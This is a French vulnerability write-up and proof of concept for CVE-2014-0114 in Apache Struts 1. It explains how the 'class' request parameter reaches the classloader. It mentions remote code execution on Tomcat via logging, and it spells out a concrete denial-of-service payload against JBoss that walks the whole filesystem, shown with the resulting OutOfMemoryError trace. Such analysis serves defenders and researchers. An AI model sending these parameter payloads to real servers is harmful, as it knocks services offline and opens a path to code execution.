
Analyse technique et preuve de concept pour la manipulation du paramètre de classe Apache Struts 1 (CVE-2014-0114), démontrant l'exécution de code à distance sur Tomcat et le déni de service sur JBoss/Wildfly.
Les paramètres d'une requête POST ou GET sont traités comme des propriétés à définir à partir du formulaire. Les paramètres peuvent être un chemin vers un objet imbriqué.
Apache Struts 1.x peut être manipulé pour appeler getClass() sur les Form Beans. Par exemple, on peut directement manipuler les attributs du classloader du formulaire : https://example.com/?class.classLoader.defaultAssertionStatus=true.
Sous le capot, Apache Struts 1.x utilise commons-beanutils qui, dans sa version 1.8 (et antérieure), n'exclut pas l'attribut class.
Struts 2 a connu des failles similaires, mais ici nous nous concentrons sur Struts 1.x, pour lequel il n'existe aucun correctif du framework, dont la dernière version a été publiée en 2008 (EOL depuis 2013).
Si l'application tourne sous Tomcat (Catalina), il est possible de manipuler la journalisation pour que l'attaquant puisse créer un fichier JSP qui sera ensuite exécuté lorsqu'il est demandé au serveur. Le fichier JSP peut exécuter du code Java arbitraire avec l'utilisateur qui exécute le processus Java.
Voir la démonstration de Julián Vilas pour plus de détails.
(Testé avec JBoss EAP 7.1)
Il existe une méthode simple pour mener une attaque par déni de service qui, dans le pire des cas, rend JBoss complètement inaccessible et nécessite un redémarrage. Dans le meilleur des cas, JBoss répond lentement.
Via l'attribut class, il est possible d'accéder à Class#protectionDomain.codeSource.location. Dans JBoss, il s'agit d'un objet URL avec le protocole vfs.
Pour une URL de type vfs://, JBoss a enregistré un URLStreamHandler qui retourne un objet de type org.jboss.vfs.VirtualFile lorsque URL#getContent est appelé.
class.protectionDomain.codeSource.location.content.pathName désigne le répertoire <SÖKGVÄG>/<applikation>/WEB-INF/classes.
Via parent, on accède à un objet pour le répertoire un niveau au-dessus :
class.protectionDomain.codeSource.location.content.parent.pathName -> <SÖKVÄG>/<applikation>/WEB-INF
Question : Combien de références parent sont nécessaires pour atteindre la racine du système de fichiers ?
Question :
Que se passe-t-il si l'on demande class.protectionDomain.codeSource.location.content.parent.parent.[...].childrenRecursively[0].pathName pour le répertoire racine du système de fichiers ?
Réponse :
JBoss va parcourir tous les fichiers du système de fichiers et allouer un org.jboss.vfs.VirtualFile pour chaque fichier et répertoire.
Question complémentaire : Que se passe-t-il si deux requêtes demandent tous les fichiers du système de fichiers en même temps ? Trois requêtes ? Cinq ? Dix ? Cent ?
...
Réponse :
Si l'on attend suffisamment longtemps, une erreur est journalisée
10:09:59,381 ERROR [io.undertow.request] (default task-13) UT005023: Exception handling request to /strutt/Login.do: javax.servlet.ServletException: javax.servlet.ServletException: BeanUtils.populate
at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:286)
at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:449)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:85)
at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131)
at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50)
at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:292)
at io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:81)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:138)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
at org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:272)
at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81)
at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:104)
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:326)
at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:812)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:748)
Caused by: javax.servlet.ServletException: BeanUtils.populate
at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:475)
at org.apache.struts.chain.commands.servlet.PopulateActionForm.populate(PopulateActionForm.java:50)
at org.apache.struts.chain.commands.AbstractPopulateActionForm.execute(AbstractPopulateActionForm.java:60)
at org.apache.struts.chain.commands.ActionCommandBase.execute(ActionCommandBase.java:51)
at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
at org.apache.commons.chain.generic.LookupCommand.execute(LookupCommand.java:305)
at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:283)
... 42 more
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:504)
at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:408)
at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:760)
at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
at org.apache.commons.beanutils.BeanUtilsBean.setProperty(BeanUtilsBean.java:903)
at org.apache.commons.beanutils.BeanUtilsBean.populate(BeanUtilsBean.java:830)
at org.apache.commons.beanutils.BeanUtils.populate(BeanUtils.java:433)
at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:473)
... 49 more
Caused by: java.lang.OutOfMemoryError: GC overhead limit exceeded
at java.lang.AbstractStringBuilder.<init>(AbstractStringBuilder.java:68)
at java.lang.StringBuilder.<init>(StringBuilder.java:101)
at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:139)
at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:99)
at org.jboss.vfs.spi.RootFileSystem.getFile(RootFileSystem.java:65)
at org.jboss.vfs.spi.RootFileSystem.isDirectory(RootFileSystem.java:107)
at org.jboss.vfs.VirtualFile.isDirectory(VirtualFile.java:291)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:520)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
10:09:59,420 ERROR [stderr] (Periodic Recovery) Exception in thread "Periodic Recovery" java.lang.OutOfMemoryError: GC overhead limit exceeded
Le CPU fonctionne à plein régime pour gérer le Garbage Collection pour quelques requêtes et le processus Java n'a pas le temps de faire grand-chose d'autre.
Cela dépend aussi un peu de l'application. Si l'on peut déclencher un chemin de code qui prend un verrou, l'application/le système peut se bloquer.
CVE
Présentation de Julián Vilas
Metasploit